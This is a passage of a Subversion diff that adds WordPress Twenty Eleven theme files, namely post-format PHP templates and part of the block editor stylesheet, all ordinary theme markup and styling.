+					printf( __( '<a href="%1$s" rel="bookmark"><time class="entry-date" datetime="%2$s">%3$s</time></a><span class="by-author"> <span class="sep"> by </span> <span class="author vcard"><a class="url fn n" href="%4$s" title="%5$s" rel="author">%6$s</a></span></span>', 'twentyeleven' ),
+						esc_url( get_permalink() ),
+						get_the_date( 'c' ),
+						get_the_date(),
+						esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ),
+						esc_attr( sprintf( __( 'View all posts by %s', 'twentyeleven' ), get_the_author() ) ),
+						get_the_author()
+					);
+				?>
+			</div><!-- .entry-meta -->
+			<div class="entry-meta">
+				<?php
+					/* translators: used between list items, there is a space after the comma */
+					$categories_list = get_the_category_list( __( ', ', 'twentyeleven' ) );
+					if ( $categories_list ):
+				?>
+				<span class="cat-links">
+					<?php printf( __( '<span class="%1$s">Posted in</span> %2$s', 'twentyeleven' ), 'entry-utility-prep entry-utility-prep-cat-links', $categories_list ); ?>
+				</span>
+				<?php endif; // End if categories ?>
+				<?php
+					/* translators: used between list items, there is a space after the comma */
+					$tags_list = get_the_tag_list( '', __( ', ', 'twentyeleven' ) );
+					if ( $tags_list ): ?>
+				<span class="tag-links">
+					<?php printf( __( '<span class="%1$s">Tagged</span> %2$s', 'twentyeleven' ), 'entry-utility-prep entry-utility-prep-tag-links', $tags_list ); ?>
+				</span>
+				<?php endif; // End if $tags_list ?>
+
+				<?php if ( comments_open() ) : ?>
+				<span class="comments-link"><?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentyeleven' ) . '</span>', __( '<b>1</b> Reply', 'twentyeleven' ), __( '<b>%</b> Replies', 'twentyeleven' ) ); ?></span>
+				<?php endif; // End if comments_open() ?>
+			</div><!-- .entry-meta -->
+
+			<?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?>
+		</footer><!-- .entry-meta -->
+	</article><!-- #post-<?php the_ID(); ?> -->
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/content-intro.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/content-intro.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/content-intro.php	(revision 56912)
@@ -0,0 +1,21 @@
+<?php
+/**
+ * Template for displaying page content in the showcase.php page template
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class( 'intro' ); ?>>
+	<header class="entry-header">
+		<h2 class="entry-title"><?php the_title(); ?></h2>
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php the_content(); ?>
+		<?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?>
+		<?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?>
+	</div><!-- .entry-content -->
+</article><!-- #post-<?php the_ID(); ?> -->
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/content-link.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/content-link.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/content-link.php	(revision 56912)
@@ -0,0 +1,48 @@
+<?php
+/**
+ * Template for displaying posts in the Link Post Format
+ *
+ * Used on index and archive pages
+ *
+ * @link https://codex.wordpress.org/Post_Formats
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+?>
+
+	<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+		<header class="entry-header">
+			<hgroup>
+				<h2 class="entry-title"><a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a></h2>
+				<h3 class="entry-format"><?php _e( 'Link', 'twentyeleven' ); ?></h3>
+			</hgroup>
+
+			<?php if ( comments_open() && ! post_password_required() ) : ?>
+			<div class="comments-link">
+				<?php comments_popup_link( '<span class="leave-reply">' . __( 'Reply', 'twentyeleven' ) . '</span>', _x( '1', 'comments number', 'twentyeleven' ), _x( '%', 'comments number', 'twentyeleven' ) ); ?>
+			</div>
+			<?php endif; ?>
+		</header><!-- .entry-header -->
+
+		<?php if ( is_search() ) : // Only display Excerpts for Search ?>
+		<div class="entry-summary">
+			<?php the_excerpt(); ?>
+		</div><!-- .entry-summary -->
+		<?php else : ?>
+		<div class="entry-content">
+			<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyeleven' ) ); ?>
+			<?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?>
+		</div><!-- .entry-content -->
+		<?php endif; ?>
+
+		<footer class="entry-meta">
+			<?php twentyeleven_posted_on(); ?>
+			<?php if ( comments_open() ) : ?>
+			<span class="sep"> | </span>
+			<span class="comments-link"><?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentyeleven' ) . '</span>', __( '<b>1</b> Reply', 'twentyeleven' ), __( '<b>%</b> Replies', 'twentyeleven' ) ); ?></span>
+			<?php endif; ?>
+			<?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?>
+		</footer><!-- .entry-meta -->
+	</article><!-- #post-<?php the_ID(); ?> -->
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/content-page.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/content-page.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/content-page.php	(revision 56912)
@@ -0,0 +1,23 @@
+<?php
+/**
+ * Template used for displaying page content in page.php
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<header class="entry-header">
+		<h1 class="entry-title"><?php the_title(); ?></h1>
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php the_content(); ?>
+		<?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?>
+	</div><!-- .entry-content -->
+	<footer class="entry-meta">
+		<?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?>
+	</footer><!-- .entry-meta -->
+</article><!-- #post-<?php the_ID(); ?> -->
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/content-quote.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/content-quote.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/content-quote.php	(revision 56912)
@@ -0,0 +1,74 @@
+<?php
+/**
+ * Template for displaying content
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+?>
+
+	<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+		<header class="entry-header">
+			<hgroup>
+				<h2 class="entry-title"><a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a></h2>
+				<h3 class="entry-format"><?php _e( 'Quote', 'twentyeleven' ); ?></h3>
+			</hgroup>
+
+			<div class="entry-meta">
+				<?php twentyeleven_posted_on(); ?>
+			</div><!-- .entry-meta -->
+
+			<?php if ( comments_open() && ! post_password_required() ) : ?>
+			<div class="comments-link">
+				<?php comments_popup_link( '<span class="leave-reply">' . __( 'Reply', 'twentyeleven' ) . '</span>', _x( '1', 'comments number', 'twentyeleven' ), _x( '%', 'comments number', 'twentyeleven' ) ); ?>
+			</div>
+			<?php endif; ?>
+		</header><!-- .entry-header -->
+
+		<?php if ( is_search() ) : // Only display Excerpts for Search ?>
+		<div class="entry-summary">
+			<?php the_excerpt(); ?>
+		</div><!-- .entry-summary -->
+		<?php else : ?>
+		<div class="entry-content">
+			<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyeleven' ) ); ?>
+			<?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?>
+		</div><!-- .entry-content -->
+		<?php endif; ?>
+
+		<footer class="entry-meta">
+			<?php $show_sep = false; ?>
+			<?php
+				/* translators: used between list items, there is a space after the comma */
+				$categories_list = get_the_category_list( __( ', ', 'twentyeleven' ) );
+				if ( $categories_list ):
+			?>
+			<span class="cat-links">
+				<?php printf( __( '<span class="%1$s">Posted in</span> %2$s', 'twentyeleven' ), 'entry-utility-prep entry-utility-prep-cat-links', $categories_list );
+				$show_sep = true; ?>
+			</span>
+			<?php endif; // End if categories ?>
+			<?php
+				/* translators: used between list items, there is a space after the comma */
+				$tags_list = get_the_tag_list( '', __( ', ', 'twentyeleven' ) );
+				if ( $tags_list ):
+				if ( $show_sep ) : ?>
+			<span class="sep"> | </span>
+				<?php endif; // End if $show_sep ?>
+			<span class="tag-links">
+				<?php printf( __( '<span class="%1$s">Tagged</span> %2$s', 'twentyeleven' ), 'entry-utility-prep entry-utility-prep-tag-links', $tags_list );
+				$show_sep = true; ?>
+			</span>
+			<?php endif; // End if $tags_list ?>
+
+			<?php if ( comments_open() ) : ?>
+			<?php if ( $show_sep ) : ?>
+			<span class="sep"> | </span>
+			<?php endif; // End if $show_sep ?>
+			<span class="comments-link"><?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentyeleven' ) . '</span>', __( '<b>1</b> Reply', 'twentyeleven' ), __( '<b>%</b> Replies', 'twentyeleven' ) ); ?></span>
+			<?php endif; // End if comments_open() ?>
+
+			<?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?>
+		</footer><!-- .entry-meta -->
+	</article><!-- #post-<?php the_ID(); ?> -->
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/content-single.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/content-single.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/content-single.php	(revision 56912)
@@ -0,0 +1,74 @@
+<?php
+/**
+ * The template for displaying content in the single.php template
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<header class="entry-header">
+		<h1 class="entry-title"><?php the_title(); ?></h1>
+
+		<?php if ( 'post' == get_post_type() ) : ?>
+		<div class="entry-meta">
+			<?php twentyeleven_posted_on(); ?>
+		</div><!-- .entry-meta -->
+		<?php endif; ?>
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php the_content(); ?>
+		<?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?>
+	</div><!-- .entry-content -->
+
+	<footer class="entry-meta">
+		<?php
+			/* translators: used between list items, there is a space after the comma */
+			$categories_list = get_the_category_list( __( ', ', 'twentyeleven' ) );
+
+			/* translators: used between list items, there is a space after the comma */
+			$tag_list = get_the_tag_list( '', __( ', ', 'twentyeleven' ) );
+			if ( '' != $tag_list ) {
+				$utility_text = __( 'This entry was posted in %1$s and tagged %2$s by <a href="%6$s">%5$s</a>. Bookmark the <a href="%3$s" title="Permalink to %4$s" rel="bookmark">permalink</a>.', 'twentyeleven' );
+			} elseif ( '' != $categories_list ) {
+				$utility_text = __( 'This entry was posted in %1$s by <a href="%6$s">%5$s</a>. Bookmark the <a href="%3$s" title="Permalink to %4$s" rel="bookmark">permalink</a>.', 'twentyeleven' );
+			} else {
+				$utility_text = __( 'This entry was posted by <a href="%6$s">%5$s</a>. Bookmark the <a href="%3$s" title="Permalink to %4$s" rel="bookmark">permalink</a>.', 'twentyeleven' );
+			}
+
+			printf(
+				$utility_text,
+				$categories_list,
+				$tag_list,
+				esc_url( get_permalink() ),
+				the_title_attribute( 'echo=0' ),
+				get_the_author(),
+				esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) )
+			);
+		?>
+		<?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?>
+
+		<?php if ( get_the_author_meta( 'description' ) && ( ! function_exists( 'is_multi_author' ) || is_multi_author() ) ) : // If a user has filled out their description and this is a multi-author blog, show a bio on their entries ?>
+		<div id="author-info">
+			<div id="author-avatar">
+				<?php
+				/** This filter is documented in author.php */
+				echo get_avatar( get_the_author_meta( 'user_email' ), apply_filters( 'twentyeleven_author_bio_avatar_size', 68 ) );
+				?>
+			</div><!-- #author-avatar -->
+			<div id="author-description">
+				<h2><?php printf( __( 'About %s', 'twentyeleven' ), get_the_author() ); ?></h2>
+				<?php the_author_meta( 'description' ); ?>
+				<div id="author-link">
+					<a href="<?php echo esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ); ?>" rel="author">
+						<?php printf( __( 'View all posts by %s <span class="meta-nav">&rarr;</span>', 'twentyeleven' ), get_the_author() ); ?>
+					</a>
+				</div><!-- #author-link	-->
+			</div><!-- #author-description -->
+		</div><!-- #author-info -->
+		<?php endif; ?>
+	</footer><!-- .entry-meta -->
+</article><!-- #post-<?php the_ID(); ?> -->
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/content-status.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/content-status.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/content-status.php	(revision 56912)
@@ -0,0 +1,61 @@
+<?php
+/**
+ * Template for displaying posts in the Status Post Format
+ *
+ * Used on index and archive pages
+ *
+ * @link https://codex.wordpress.org/Post_Formats
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+?>
+
+	<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+		<header class="entry-header">
+			<hgroup>
+				<h2 class="entry-title"><a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a></h2>
+				<h3 class="entry-format"><?php _e( 'Status', 'twentyeleven' ); ?></h3>
+			</hgroup>
+
+			<?php if ( comments_open() && ! post_password_required() ) : ?>
+			<div class="comments-link">
+				<?php comments_popup_link( '<span class="leave-reply">' . __( 'Reply', 'twentyeleven' ) . '</span>', _x( '1', 'comments number', 'twentyeleven' ), _x( '%', 'comments number', 'twentyeleven' ) ); ?>
+			</div>
+			<?php endif; ?>
+		</header><!-- .entry-header -->
+
+		<?php if ( is_search() ) : // Only display Excerpts for Search ?>
+		<div class="entry-summary">
+			<?php the_excerpt(); ?>
+		</div><!-- .entry-summary -->
+		<?php else : ?>
+		<div class="entry-content">
+			<div class="avatar">
+				<?php
+				/**
+				 * Filter the Twenty Eleven status avatar size.
+				 *
+				 * @since Twenty Eleven 1.0
+				 *
+				 * @param int The height and width avatar dimensions in pixels. Default 65.
+				 */
+				echo get_avatar( get_the_author_meta( 'ID' ), apply_filters( 'twentyeleven_status_avatar', 65 ) );
+				?>
+			</div>
+
+			<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyeleven' ) ); ?>
+			<?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?>
+		</div><!-- .entry-content -->
+		<?php endif; ?>
+
+		<footer class="entry-meta">
+			<?php twentyeleven_posted_on(); ?>
+			<?php if ( comments_open() ) : ?>
+			<span class="sep"> | </span>
+			<span class="comments-link"><?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentyeleven' ) . '</span>', __( '<b>1</b> Reply', 'twentyeleven' ), __( '<b>%</b> Replies', 'twentyeleven' ) ); ?></span>
+			<?php endif; ?>
+			<?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?>
+		</footer><!-- .entry-meta -->
+	</article><!-- #post-<?php the_ID(); ?> -->
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/content.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/content.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/content.php	(revision 56912)
@@ -0,0 +1,84 @@
+<?php
+/**
+ * Template for displaying content
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+?>
+
+	<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+		<header class="entry-header">
+			<?php if ( is_sticky() ) : ?>
+				<hgroup>
+					<h2 class="entry-title"><a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a></h2>
+					<h3 class="entry-format"><?php _e( 'Featured', 'twentyeleven' ); ?></h3>
+				</hgroup>
+			<?php else : ?>
+			<h1 class="entry-title"><a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a></h1>
+			<?php endif; ?>
+
+			<?php if ( 'post' == get_post_type() ) : ?>
+			<div class="entry-meta">
+				<?php twentyeleven_posted_on(); ?>
+			</div><!-- .entry-meta -->
+			<?php endif; ?>
+
+			<?php if ( comments_open() && ! post_password_required() ) : ?>
+			<div class="comments-link">
+				<?php comments_popup_link( '<span class="leave-reply">' . __( 'Reply', 'twentyeleven' ) . '</span>', _x( '1', 'comments number', 'twentyeleven' ), _x( '%', 'comments number', 'twentyeleven' ) ); ?>
+			</div>
+			<?php endif; ?>
+		</header><!-- .entry-header -->
+
+		<?php if ( is_search() ) : // Only display Excerpts for Search ?>
+		<div class="entry-summary">
+			<?php the_excerpt(); ?>
+		</div><!-- .entry-summary -->
+		<?php else : ?>
+		<div class="entry-content">
+			<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyeleven' ) ); ?>
+			<?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?>
+		</div><!-- .entry-content -->
+		<?php endif; ?>
+
+		<footer class="entry-meta">
+			<?php $show_sep = false; ?>
+			<?php if ( is_object_in_taxonomy( get_post_type(), 'category' ) ) : // Hide category text when not supported ?>
+			<?php
+				/* translators: used between list items, there is a space after the comma */
+				$categories_list = get_the_category_list( __( ', ', 'twentyeleven' ) );
+				if ( $categories_list ):
+			?>
+			<span class="cat-links">
+				<?php printf( __( '<span class="%1$s">Posted in</span> %2$s', 'twentyeleven' ), 'entry-utility-prep entry-utility-prep-cat-links', $categories_list );
+				$show_sep = true; ?>
+			</span>
+			<?php endif; // End if categories ?>
+			<?php endif; // End if is_object_in_taxonomy( get_post_type(), 'category' ) ?>
+			<?php if ( is_object_in_taxonomy( get_post_type(), 'post_tag' ) ) : // Hide tag text when not supported ?>
+			<?php
+				/* translators: used between list items, there is a space after the comma */
+				$tags_list = get_the_tag_list( '', __( ', ', 'twentyeleven' ) );
+				if ( $tags_list ):
+				if ( $show_sep ) : ?>
+			<span class="sep"> | </span>
+				<?php endif; // End if $show_sep ?>
+			<span class="tag-links">
+				<?php printf( __( '<span class="%1$s">Tagged</span> %2$s', 'twentyeleven' ), 'entry-utility-prep entry-utility-prep-tag-links', $tags_list );
+				$show_sep = true; ?>
+			</span>
+			<?php endif; // End if $tags_list ?>
+			<?php endif; // End if is_object_in_taxonomy( get_post_type(), 'post_tag' ) ?>
+
+			<?php if ( comments_open() ) : ?>
+			<?php if ( $show_sep ) : ?>
+			<span class="sep"> | </span>
+			<?php endif; // End if $show_sep ?>
+			<span class="comments-link"><?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentyeleven' ) . '</span>', __( '<b>1</b> Reply', 'twentyeleven' ), __( '<b>%</b> Replies', 'twentyeleven' ) ); ?></span>
+			<?php endif; // End if comments_open() ?>
+
+			<?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?>
+		</footer><!-- .entry-meta -->
+	</article><!-- #post-<?php the_ID(); ?> -->
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/editor-blocks.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/editor-blocks.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/editor-blocks.css	(revision 56912)
@@ -0,0 +1,469 @@
+/*
+Theme Name: Twenty Eleven
+Description: Used to style blocks in the editor.
+*/
+
+/*--------------------------------------------------------------
+>>> TABLE OF CONTENTS:
+----------------------------------------------------------------
+1.0 General Typography
+2.0 General Block Styles
+3.0 Blocks - Common Blocks
+4.0 Blocks - Formatting
+5.0 Blocks - Layout Elements
+6.0 Blocks - Widgets
+--------------------------------------------------------------*/
+
+/*--------------------------------------------------------------
+1.0 General Typography
+--------------------------------------------------------------*/
+
+.edit-post-visual-editor .editor-block-list__block,
+.edit-post-visual-editor .editor-block-list__block p,
+.editor-default-block-appender textarea.editor-default-block-appender__content {
+	font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
+	font-size: 15px;
+	font-weight: 300;
+	line-height: 1.625;
+}
+
+.edit-post-visual-editor .editor-block-list__block {
+	color: #333;
+}
+
+.editor-post-title__block .editor-post-title__input {
+	color: #000;
+	font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
+	font-size: 36px;
+	line-height: 48px;
+}
+
+.edit-post-visual-editor h1,
+.wp-block-freeform.block-library-rich-text__tinymce h1,
+.edit-post-visual-editor h2,
+.wp-block-freeform.block-library-rich-text__tinymce h2 {
+	font-size: 15px;
+	margin: 0 0 0.8125em;
+}
+
+.edit-post-visual-editor h3,
+.wp-block-freeform.block-library-rich-text__tinymce h3 {
+	font-size: 10px;
+	font-weight: 300;
+	letter-spacing: 0.1em;
+	line-height: 2.6em;
+	text-transform: uppercase;
+}
+
+.edit-post-visual-editor h4,
+.wp-block-freeform.block-library-rich-text__tinymce h4,
+.edit-post-visual-editor h5,
+.wp-block-freeform.block-library-rich-text__tinymce h5,
+.edit-post-visual-editor h6,
+.wp-block-freeform.block-library-rich-text__tinymce h6 {
+	font-size: 15px;
+	font-weight: 300;
+	line-height: 1.625;
+}
+
+/*--------------------------------------------------------------
+2.0 General Block Styles
+--------------------------------------------------------------*/
+
+/* Main column width */
+
+.editor-styles-wrapper {
+	max-width: 100% !important; /* Override where editor-style.css is affecting this. */
+}
+
+.wp-block {
+	max-width: 614px; /* 584px + 30px to account for padding */
+}
+
+/* Link styles */
+
+.edit-post-visual-editor a,
+.editor-block-list__block a,
+.wp-block-freeform.block-library-rich-text__tinymce a {
+	color: #1982d1;
+}
+
+/* List styles */
+
+.edit-post-visual-editor ul:not(.wp-block-gallery),
+.editor-block-list__block ul:not(.wp-block-gallery),
+.block-library-list ul.editor-rich-text__tinymce,
+.edit-post-visual-editor ol,
+.editor-block-list__block ol,
+.block-library-list ol.editor-rich-text__tinymce {
+	margin: 0 0 1.625em 2.5em;
+	padding: 0;
+}
+
+.block-library-list .editor-rich-text__tinymce {
+	padding: 0;
+}
+
+.edit-post-visual-editor ul:not(.wp-block-gallery),
+.edit-post-visual-editor .editor-block-list__block ul:not(.wp-block-gallery),
+.block-library-list ul {
+	list-style-type: square;
+}
+
+.edit-post-visual-editor ol,
+.editor-block-list__block ol,
+.block-library-list ol {
+	list-style: decimal;
+}
+
+.edit-post-visual-editor ol ol,
+.editor-block-list__block ol ol,
+.block-library-list ol ol {
+	list-style: upper-alpha;
+}
+
+.edit-post-visual-editor ol ol ol,
+.editor-block-list__block ol ol ol,
+.block-library-list ol ol ol {
+	list-style: lower-roman;
+}
+
+.edit-post-visual-editor ol ol ol ol,
+.editor-block-list__block ol ol ol ol,
+.block-library-list ol ol ol ol {
+	list-style: lower-alpha;
+}
+
+.edit-post-visual-editor ul:not(.wp-block-gallery) li > ul,
+.editor-block-list__block ul:not(.wp-block-gallery) li > ul,
+.block-library-list .editor-rich-text__tinymce li > ul,
+.edit-post-visual-editor li > ol,
+.editor-block-list__block li > ol,
+.block-library-list .editor-rich-text__tinymce li > ol,
+.wp-block-freeform.block-library-rich-text__tinymce li,
+.editor-block-list__block li {
+	margin-bottom: 0;
+}
+
+.rtl .edit-post-visual-editor ul:not(.wp-block-gallery),
+.rtl .editor-block-list__block ul:not(.wp-block-gallery),
+.rtl .block-library-list ul,
+.rtl .edit-post-visual-editor ol,
+.rtl .editor-block-list__block ol,
+.rtl .block-library-list ol {
+	margin-left: 0;
+	margin-right: 1.3333em;
+}
+
+/* Captions */
+
+[class^="wp-block-"] figcaption {
+	font-family: Georgia, serif;
+	font-size: 12px;
+}
+
+[class^="wp-block-"]:not(.wp-block-gallery) figcaption {
+	color: #666;
+	margin-bottom: 1.625em;
+	max-width: 96%;
+	max-width: calc( 100% - 18px );
+	padding: 3px 0 5px 40px;
+	position: relative;
+	text-align: left;
+}
+
+[class^="wp-block-"]:not(.wp-block-gallery) figcaption:before {
+	color: #666;
+	content: '\2014';
+	font-size: 14px;
+	font-style: normal;
+	font-weight: bold;
+	margin-right: 5px;
+	position: absolute;
+	left: 10px;
+	top: 0;
+}
+
+.rtl [class^="wp-block-"]:not(.wp-block-gallery) figcaption {
+	padding-left: 0;
+	padding-right: 40px;
+	text-align: right;
+}
+
+.rtl [class^="wp-block-"]:not(.wp-block-gallery) figcaption:before {
+	left: 0;
+	margin-left: 5px;
+	margin-right: 0;
+	right: 10px;
+}
+
+/* Quote */
+
+.wp-block-freeform.block-library-rich-text__tinymce blockquote {
+	border: 0;
+	font-style: italic;
+	margin: 0 3em;
+	padding: 0;
+}
+
+.wp-block-freeform.block-library-rich-text__tinymce blockquote p {
+	font-family: Georgia, "Bitstream Charter", serif;
+	font-size: 15px;
+	font-weight: normal;
+}
+
+.wp-block-freeform.block-library-rich-text__tinymce blockquote cite {
+	color: #666;
+	font: 12px "Helvetica Neue", Helvetica, Arial, sans-serif;
+	font-weight: 300;
+	letter-spacing: 0.05em;
+	text-transform: uppercase;
+}
+
+/* Code */
+
+.wp-block-freeform.block-library-rich-text__tinymce code {
+	background: transparent;
+}
+
+/*--------------------------------------------------------------
+3.0 Blocks - Common Blocks
+--------------------------------------------------------------*/
+
+/* Paragraph */
+
+p.has-drop-cap:not(:focus)::first-letter {
+	font-size: 5em;
+	margin-top: 0.1em;
+}
+
+/* Gallery */
+
+.editor-block-list__block .wp-block-gallery {
+	margin: 0 0 1.625em;
+}
+
+.wp-block-gallery figcaption {
+	margin-bottom: 0;
+	max-width: 100%;
+}
+
+.wp-block-gallery .blocks-gallery-item img {
+	border: 0;
+	padding: 0;
+}
+
+/* Quote */
+
+.wp-block-quote {
+	font-style: italic;
+	font-weight: normal;
+	margin: 0 3em;
+	padding: 0;
+}
+
+.edit-post-visual-editor .editor-block-list__block .wp-block-quote p {
+	font-family: Georgia, "Bitstream Charter", serif;
+}
+
+.wp-block-quote:not(.is-large):not(.is-style-large) {
+	border: 0;
+	padding-left: 0;
+	padding-right: 0;
+}
+
+.wp-block-quote .wp-block-quote__citation.editor-rich-text__tinymce.mce-content-body {
+	color: #666;
+	font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
+	font-weight: 300;
+	letter-spacing: 0.05em;
+	text-transform: uppercase;
+}
+
+.wp-block-quote.is-large p,
+.wp-block-quote.is-style-large p {
+	font-size: 20px;
+}
+
+.wp-block-quote.is-large .wp-block-quote__citation,
+.wp-block-quote.is-style-large .wp-block-quote__citation  {
+	font-size: 16px;
+}
+
+/* Cover */
+
+.edit-post-visual-editor .editor-block-list__block .wp-block-cover-image p.wp-block-cover-image-text,
+.edit-post-visual-editor .editor-block-list__block .wp-block-cover p.wp-block-cover-text {
+	font-size: 30px;
+	line-height: 37.5px;
+}
+
+/* File */
+
+.wp-block-file .wp-block-file__textlink {
+	color: #1982d1;
+}
+
+.wp-block-file .wp-block-file__button {
+	background: #222;
+	border: none;
+	-moz-border-radius: 3px;
+	border-radius: 3px;
+	-webkit-box-shadow: 0px 1px 2px rgba(0,0,0,0.3);
+	-moz-box-shadow: 0px 1px 2px rgba(0,0,0,0.3);
+	box-shadow: 0px 1px 2px rgba(0,0,0,0.3);
+	color: #eee;
+	cursor: pointer;
+	font-size: 15px;
+	line-height: 24px;
+	padding: 5px 22px;
+	text-shadow: 0 -1px 0 rgba(0,0,0,0.3);
+}
+
+/*--------------------------------------------------------------
+4.0 Blocks - Formatting
+--------------------------------------------------------------*/
+
+/* Code */
+
+.wp-block-code {
+	background: transparent;
+	border: 0;
+	padding: 0;
+}
+
+/* Pullquote */
+
+.edit-post-visual-editor .editor-block-list__block .wp-block-pullquote p {
+	font-family: Georgia, "Bitstream Charter", serif;
+	font-style: italic;
+	font-weight: normal;
+}
+
+.wp-block-pullquote.alignleft blockquote > .editor-rich-text p,
+.wp-block-pullquote.alignright blockquote > .editor-rich-text p {
+	font-size: 20px;
+}
+
+/* Table */
+
+.editor-block-list__block .wp-block-table th,
+.editor-block-list__block .wp-block-table td {
+	padding: 0;
+}
+
+.wp-block-table__cell-content {
+	padding: 6px;
+}
+
+.rtl .editor-block-list__block .wp-block-table th,
+.rtl .editor-block-list__block .wp-block-table td,
+.rtl .editor-block-list__block th,
+.rtl .editor-block-list__block td {
+	text-align: right;
+}
+
+
+/*--------------------------------------------------------------
+5.0 Blocks - Layout Elements
+--------------------------------------------------------------*/
+
+/* Buttons */
+
+.wp-block-button .wp-block-button__link {
+	-webkit-box-shadow: 0px 1px 2px rgba(0,0,0,0.3);
+	-moz-box-shadow: 0px 1px 2px rgba(0,0,0,0.3);
+	box-shadow: 0px 1px 2px rgba(0,0,0,0.3);
+	cursor: pointer;
+	font-size: 15px;
+	line-height: 24px;
+	margin: 20px 0;
+	padding: 5px 22px;
+	text-shadow: 0 -1px 0 rgba(0,0,0,0.3);
+}
+
+.wp-block-button__link {
+	background: #222;
+	color: #eee;
+}
+
